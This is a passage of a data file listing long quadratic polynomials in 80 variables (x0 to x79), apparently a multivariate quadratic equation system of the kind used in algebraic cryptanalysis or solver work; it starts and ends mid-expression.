x30*x74 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x36 + x31*x37 + x31*x40 + x31*x42 + x31*x43 + x31*x45 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x60 + x31*x61 + x31*x63 + x31*x64 + x31*x70 + x31*x73 + x31*x74 + x31*x77 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x36 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x51 + x32*x56 + x32*x57 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x70 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x55 + x33*x57 + x33*x58 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x69 + x33*x71 + x33*x72 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x34*x37 + x34*x39 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x47 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x57 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x77 + x34 + x35*x37 + x35*x41 + x35*x42 + x35*x43 + x35*x51 + x35*x52 + x35*x54 + x35*x55 + x35*x57 + x35*x60 + x35*x63 + x35*x64 + x35*x65 + x35*x67 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x79 + x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x48 + x36*x49 + x36*x50 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x59 + x36*x64 + x36*x66 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x74 + x36*x77 + x36*x79 + x36 + x37*x40 + x37*x44 + x37*x48 + x37*x49 + x37*x51 + x37*x53 + x37*x55 + x37*x57 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x72 + x37*x74 + x37*x75 + x37*x78 + x38*x43 + x38*x44 + x38*x46 + x38*x49 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x61 + x38*x62 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x46 + x39*x48 + x39*x49 + x39*x51 + x39*x52 + x39*x53 + x39*x54 + x39*x60 + x39*x61 + x39*x64 + x39*x65 + x39*x69 + x39*x71 + x39*x73 + x39*x77 + x39 + x40*x43 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x55 + x40*x56 + x40*x59 + x40*x61 + x40*x63 + x40*x64 + x40*x66 + x40*x67 + x40*x70 + x40*x72 + x40*x73 + x40*x75 + x40*x77 + x40*x79 + x40 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x58 + x41*x66 + x41*x67 + x41*x68 + x41*x70 + x41*x72 + x41*x76 + x41 + x42*x44 + x42*x47 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x58 + x42*x61 + x42*x64 + x42*x65 + x42*x67 + x42*x70 + x42*x74 + x42*x75 + x42*x78 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x64 + x43*x65 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x76 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x50 + x44*x57 + x44*x58 + x44*x60 + x44*x65 + x44*x66 + x44*x67 + x44*x76 + x44*x77 + x44*x78 + x44 + x45*x46 + x45*x47 + x45*x51 + x45*x52 + x45*x53 + x45*x55 + x45*x58 + x45*x61 + x45*x64 + x45*x65 + x45*x66 + x45*x69 + x45*x70 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x77 + x45*x78 + x46*x47 + x46*x50 + x46*x52 + x46*x54 + x46*x56 + x46*x59 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x72 + x46*x75 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x56 + x47*x59 + x47*x61 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x70 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47 + x48*x50 + x48*x53 + x48*x54 + x48*x57 + x48*x58 + x48*x59 + x48*x62 + x48*x63 + x48*x66 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x78 + x48*x79 + x49*x50 + x49*x52 + x49*x54 + x49*x56 + x49*x57 + x49*x62 + x49*x63 + x49*x65 + x49*x66 + x49*x67 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x79 + x49 + x50*x56 + x50*x57 + x50*x61 + x50*x62 + x50*x63 + x50*x64 + x50*x66 + x50*x67 + x50*x70 + x50*x73 + x50*x74 + x50*x78 + x51*x53 + x51*x54 + x51*x57 + x51*x59 + x51*x60 + x51*x62 + x51*x69 + x51*x71 + x51*x74 + x51*x75 + x51*x76 + x52*x53 + x52*x56 + x52*x58 + x52*x59 + x52*x60 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x74 + x52*x76 + x53*x54 + x53*x56 + x53*x57 + x53*x58 + x53*x59 + x53*x61 + x53*x62 + x53*x64 + x53*x68 + x53*x73 + x53*x74 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x56 + x54*x57 + x54*x59 + x54*x63 + x54*x64 + x54*x70 + x54*x74 + x54*x75 + x54*x76 + x54*x78 + x55*x61 + x55*x62 + x55*x63 + x55*x67 + x55*x69 + x55*x76 + x55*x78 + x55*x79 + x56*x57 + x56*x58 + x56*x64 + x56*x65 + x56*x68 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x57*x60 + x57*x62 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x60 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x71 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58 + x59*x60 + x59*x61 + x59*x65 + x59*x66 + x59*x69 + x59*x70 + x59*x72 + x59*x74 + x59*x75 + x59*x76 + x59*x79 + x60*x61 + x60*x67 + x60*x70 + x60*x71 + x60*x72 + x60*x75 + x60*x77 + x60*x79 + x61*x62 + x61*x67 + x61*x70 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x61*x79 + x61 + x62*x68 + x62*x71 + x62*x73 + x62*x74 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x70 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x66 + x64*x71 + x64*x73 + x64*x74 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x71 + x65*x73 + x65*x75 + x65*x78 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x77 + x66 + x67*x72 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x73 + x68*x74 + x68*x75 + x68*x76 + x69*x70 + x69*x72 + x69*x74 + x69*x78 + x69*x79 + x70*x74 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x76 + x71*x79 + x72*x73 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x76 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x77 + x76*x78 + x77*x79 + x78, x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x13 + x0*x15 + x0*x17 + x0*x19 + x0*x20 + x0*x23 + x0*x24 + x0*x26 + x0*x29 + x0*x31 + x0*x32 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x68 + x0*x70 + x0*x73 + x0*x75 + x0*x76 + x0*x78 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x14 + x1*x17 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x32 + x1*x39 + x1*x40 + x1*x43 + x1*x44 + x1*x45 + x1*x47 + x1*x50 + x1*x55 + x1*x57 + x1*x58 + x1*x59 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x69 + x1*x70 + x1*x71 + x1*x76 + x1*x78 + x2*x3 + x2*x5 + x2*x6 + x2*x8 + x2*x10 + x2*x11 + x2*x13 + x2*x19 + x2*x21 + x2*x23 + x2*x25 + x2*x26 + x2*x30 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x47 + x2*x50 + x2*x52 + x2*x55 + x2*x56 + x2*x58 + x2*x59 + x2*x62 + x2*x64 + x2*x65 + x2*x67 + x2*x68 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x78 + x2 + x3*x4 + x3*x6 + x3*x8 + x3*x10 + x3*x11 + x3*x14 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x34 + x3*x36 + x3*x38 + x3*x40 + x3*x43 + x3*x44 + x3*x45 + x3*x49 + x3*x53 + x3*x54 + x3*x56 + x3*x61 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x66 + x3*x70 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x4*x5 + x4*x6 + x4*x7 + x4*x14 + x4*x20 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x38 + x4*x39 + x4*x41 + x4*x44 + x4*x46 + x4*x47 + x4*x54 + x4*x55 + x4*x56 + x4*x60 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x68 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x7 + x5*x10 + x5*x11 + x5*x14 + x5*x20 + x5*x31 + x5*x34 + x5*x40 + x5*x41 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x60 + x5*x61 + x5*x62 + x5*x64 + x5*x65 + x5*x70 + x5*x71 + x5*x73 + x5*x77 + x5 + x6*x12 + x6*x13 + x6*x16 + x6*x19 + x6*x20 + x6*x24 + x6*x26 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x40 + x6*x41 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x59 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x10 + x7*x11 + x7*x14 + x7*x15 + x7*x17 + x7*x18 + x7*x19 + x7*x24 + x7*x26 + x7*x28 + x7*x31 + x7*x32 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x43 + x7*x48 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x58 + x7*x59 + x7*x62 + x7*x63 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x73 + x7*x74 + x7*x78 + x7*x79 + x7 + x8*x10 + x8*x13 + x8*x14 + x8*x16 + x8*x21 + x8*x23 + x8*x24 + x8*x25 + x8*x30 + x8*x32 + x8*x34 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x71 + x8*x72 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x13 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x29 + x9*x31 + x9*x34 + x9*x37 + x9*x39 + x9*x40 + x9*x41 + x9*x44 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x53 + x9*x55 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x64 + x9*x65 + x9*x67 + x9*x70 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x10*x15 + x10*x17 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x26 + x10*x30 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x40 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x49 + x10*x51 + x10*x52 + x10*x54 + x10*x55 + x10*x57 + x10*x59 + x10*x62 + x10*x63 + x10*x64 + x10*x67 + x10*x70 + x10*x71 + x10*x72 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x11*x12 + x11*x14 + x11*x17 + x11*x18 + x11*x19 + x11*x21 + x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x42 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x55 + x11*x59 + x11*x61 + x11*x62 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x71 + x11*x72 + x11*x75 + x11*x78 + x11 + x12*x15 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x28 + x12*x29 + x12*x31 + x12*x33 + x12*x35 + x12*x36 + x12*x38 + x12*x43 + x12*x44 + x12*x46 + x12*x48 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x57 + x12*x59 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x74 + x12*x76 + x12 + x13*x14 + x13*x15 + x13*x19 + x13*x21 + x13*x22 + x13*x24 + x13*x25 + x13*x26 + x13*x27 + x13*x29 + x13*x30 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x41 + x13*x43 + x13*x44 + x13*x48 + x13*x49 + x13*x50 + x13*x53 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x67 + x13*x72 + x13*x74 + x13*x76 + x13*x78 + x13 + x14*x18 + x14*x19 + x14*x20 + x14*x24 + x14*x25 + x14*x26 + x14*x27 + x14*x32 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x38 + x14*x39 + x14*x41 + x14*x43 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x63 + x14*x64 + x14*x66 + x14*x67 + x14*x70 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x19 + x15*x21 + x15*x24 + x15*x25 + x15*x26 + x15*x28 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x37 + x15*x39 + x15*x41 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x50 + x15*x51 + x15*x52 + x15*x54 + x15*x58 + x15*x60 + x15*x61 + x15*x62 + x15*x66 + x15*x67 + x15*x68 + x15*x74 + x15*x75 + x15*x78 + x15*x79 + x16*x18 + x16*x19 + x16*x27 + x16*x28 + x16*x29 + x16*x31 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x46 + x16*x47 + x16*x51 + x16*x60 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x69 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x24 + x17*x26 + x17*x28 + x17*x30 + x17*x34 + x17*x36 + x17*x37 + x17*x39 + x17*x42 + x17*x43 + x17*x47 + x17*x50 + x17*x52 + x17*x53 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x64 + x17*x67 + x17*x71 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x37 + x18*x39 + x18*x41 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x56 + x18*x58 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x21 + x19*x23 + x19*x26 + x19*x27 + x19*x28 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x37 + x19*x39 + x19*x40 + x19*x42 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x55 + x19*x59 + x19*x61 + x19*x62 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x73 + x19*x74 + x19*x75 + x19*x77 + x19*x79 + x20*x21 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x35 + x20*x36 + x20*x40 + x20*x42 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x77 + x20*x79 + x20 + x21*x24 + x21*x25 + x21*x26 + x21*x29 + x21*x31 + x21*x32 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x43 + x21*x44 + x21*x45 + x21*x48 + x21*x49 + x21*x50 + x21*x54 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x74 + x21*x75 + x21*x77 + x21*x78 + x21 + x22*x26 + x22*x30 + x22*x33 + x22*x36 + x22*x37 + x22*x42 + x22*x43 + x22*x44 + x22*x46 + x22*x47 + x22*x48 + x22*x51 + x22*x55 + x22*x56 + x22*x59 + x22*x61 + x22*x62 + x22*x64 + x22*x66 + x22*x69 + x22*x72 + x22*x74 + x22*x75 + x22 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x42 + x23*x44 + x23*x45 + x23*x48 + x23*x50 + x23*x52 + x23*x53 + x23*x54 + x23*x57 + x23*x60 + x23*x61 + x23*x64 + x23*x70 + x23*x72 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x78 + x23 + x24*x26 + x24*x29 + x24*x30 + x24*x31 + x24*x32 + x24*x38 + x24*x40 + x24*x42 + x24*x44 + x24*x47 + x24*x50 + x24*x53 + x24*x55 + x24*x56 + x24*x57 + x24*x58 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x69 + x24*x70 + x24*x73 + x24*x74 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x25*x26 + x25*x31 + x25*x32 + x25*x35 + x25*x36 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x49 + x25*x55 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x68 + x25*x69 + x25*x71 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x37 + x26*x39 + x26*x41 + x26*x43 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x60 + x26*x62 + x26*x63 + x26*x65 + x26*x67 + x26*x69 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x29 + x27*x32 + x27*x35 + x27*x39 + x27*x40 + x27*x41 + x27*x45 + x27*x46 + x27*x47 + x27*x49 + x27*x50 + x27*x52 + x27*x56 + x27*x58 + x27*x65 + x27*x68 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x27*x79 + x28*x29 + x28*x37 + x28*x40 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x52 + x28*x53 + x28*x54 + x28*x57 + x28*x64 + x28*x65 + x28*x68 + x28*x70 + x28*x76 + x28*x78 + x29*x32 + x29*x33 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x50 + x29*x52 + x29*x55 + x29*x56 + x29*x58 + x29*x63 + x29*x68 + x29*x69 + x29*x70 + x29*x77 + x29 + x30*x31 + x30*x39 + x30*x41 + x30*x42 + x30*x50 + x30*x52 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x70 + x30*x72 + x30*x74 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x45 + x31*x48 + x31*x50 + x31*x55 + x31*x58 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x69 + x31*x71 + x31*x72 + x31*x73 + x31*x76 + x31*x78 + x32*x38 + x32*x40 + x32*x41 + x32*x44 + x32*x45 + x32*x47 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x68 + x32*x70 + x32*x72 + x32*x73 + x32*x75 + x32*x78 + x32*x79 + x33*x35 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x46 + x33*x47 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x57 + x33*x58 + x33*x63 + x33*x67 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x79 + x33 + x34*x35 + x34*x37 + x34*x38 + x34*x39 + x34*x45 + x34*x46 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x55 + x34*x62 + x34*x64 + x34*x68 + x34*x71 + x34*x73 + x34*x74 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x41 + x35*x43 + x35*x44 + x35*x47 + x35*x49 + x35*x50 + x35*x52 + x35*x55 + x35*x56 + x35*x58 + x35*x60 + x35*x61 + x35*x62 + x35*x65 + x35*x66 + x35*x68 + x35*x70 + x35*x72 + x35*x74 + x35*x78 + x36*x37 + x36*x38 + x36*x41 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x50 + x36*x55 + x36*x59 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x66 + x36*x67 + x36*x70 + x36*x71 + x36*x73 + x36*x75 + x36*x78 + x37*x38 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x45 + x37*x46 + x37*x48 + x37*x50 + x37*x51 + x37*x53 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x69 + x37*x70 + x37*x74 + x37*x77 + x37*x78 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x67 + x38*x70 + x38*x72 + x38*x74 + x38*x79 + x38 + x39*x40 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x50 + x39*x52 + x39*x56 + x39*x59 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x67 + x40*x70 + x40*x75 + x40*x77 + x40*x79 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x63 + x41*x66 + x41*x68 + x41*x69 + x41*x74 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x46 + x42*x50 + x42*x53 + x42*x54 + x42*x55 + x42*x62 + x42*x64 + x42*x68 + x42*x69 + x42*x73 + x42*x74 + x42*x76 + x42*x77 + x43*x44 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x52 + x43*x54 + x43*x55 + x43*x57 + x43*x59 + x43*x60 + x43*x61 + x43*x63 + x43*x64 + x43*x68 + x43*x71 + x43*x72 + x43*x76 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x53 + x44*x55 + x44*x58 + x44*x59 + x44*x62 + x44*x63 + x44*x66 + x44*x68 + x44*x69 + x44*x70 + x44*x74 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x56 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x66 + x45*x67 + x45*x70 + x45*x71 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x49 + x46*x50 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x65 + x46*x66 + x46*x69 + x46*x71 + x46*x72 + x46*x73 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x50 + x47*x52 + x47*x57 + x47*x58 + x47*x59 + x47*x62 + x47*x64 + x47*x65 + x47*x66 + x47*x69 + x47*x70 + x47*x71 + x47*x78 + x47*x79 + x48*x50 + x48*x55 + x48*x56 + x48*x61 + x48*x62 + x48*x64 + x48*x65 + x48*x67 + x48*x68 + x48*x70 + x48*x74 + x48*x75 + x48*x78 + x48 + x49*x53 + x49*x55 + x49*x60 + x49*x61 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x73 + x49*x79 + x50*x52 + x50*x53 + x50*x57 + x50*x58 + x50*x60 + x50*x62 + x50*x66 + x50*x72 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x58 + x51*x60 + x51*x62 + x51*x63 + x51*x66 + x51*x67 + x51*x70 + x51*x77 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x60 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x68 + x52*x69 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x57 + x53*x59 + x53*x61 + x53*x63 + x53*x66 + x53*x67 + x53*x69 + x53*x76 + x53*x78 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x58 + x54*x59 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x77 + x54*x79 + x55*x56 + x55*x58 + x55*x59 + x55*x62 + x55*x64 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x76 + x55*x77 + x55*x78 + x55 + x56*x58 + x56*x59 + x56*x62 + x56*x65 + x56*x67 + x56*x69 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x59 + x57*x60 + x57*x62 + x57*x63 + x57*x65 + x57*x66 + x57*x69 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x58*x59 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x71 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x69 + x59*x72 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x64 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x73 + x60*x74 + x60*x77 + x60 + x61*x62 + x61*x68 + x61*x69 + x61*x75 + x61*x76 + x61*x78 + x61*x79 + x62*x66 + x62*x67 + x62*x69 + x62*x70 + x62*x72 + x62*x73 + x62*x75 + x62*x76 + x62*x79 + x63*x64 + x63*x65 + x63*x66 + x63*x68 + x63*x69 + x63*x70 + x63*x71 + x63*x73 + x63*x77 + x63*x78 + x63*x79 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x76 + x64*x77 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x69 + x65*x73 + x65*x76 + x65*x77 + x66*x67 + x66*x68 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x77 + x66*x78 + x66*x79 + x67*x70 + x67*x71 + x67*x75 + x67*x76 + x67*x77 + x67 + x68*x69 + x68*x72 + x68*x75 